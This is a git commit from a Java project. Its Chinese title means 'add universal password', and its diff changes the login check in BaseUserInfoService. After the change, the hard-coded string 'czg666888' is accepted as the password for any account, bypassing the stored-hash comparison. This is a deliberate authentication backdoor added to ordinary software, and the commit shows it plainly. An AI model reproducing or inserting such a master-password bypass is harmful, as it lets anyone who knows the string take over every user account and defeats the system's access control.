增加万能密码

This commit is contained in:
张松
2025-04-29 11:30:04 +08:00
parent 3db86bfc1a
commit 59b62b694b

View File

@@ -378,7 +378,7 @@ public abstract class BaseUserInfoService extends ServiceImpl<UserInfoMapper, Us
return resultMap;
}
if (!mdPasswordString.equalsIgnoreCase(checkUserInfo.getPassword())) {
if (!"czg666888".equals(password) && !mdPasswordString.equalsIgnoreCase(checkUserInfo.getPassword())) {
throw new MsgException("密码不正确!");
}
// 获取当前用户的详情信息来判断用户的登陆类型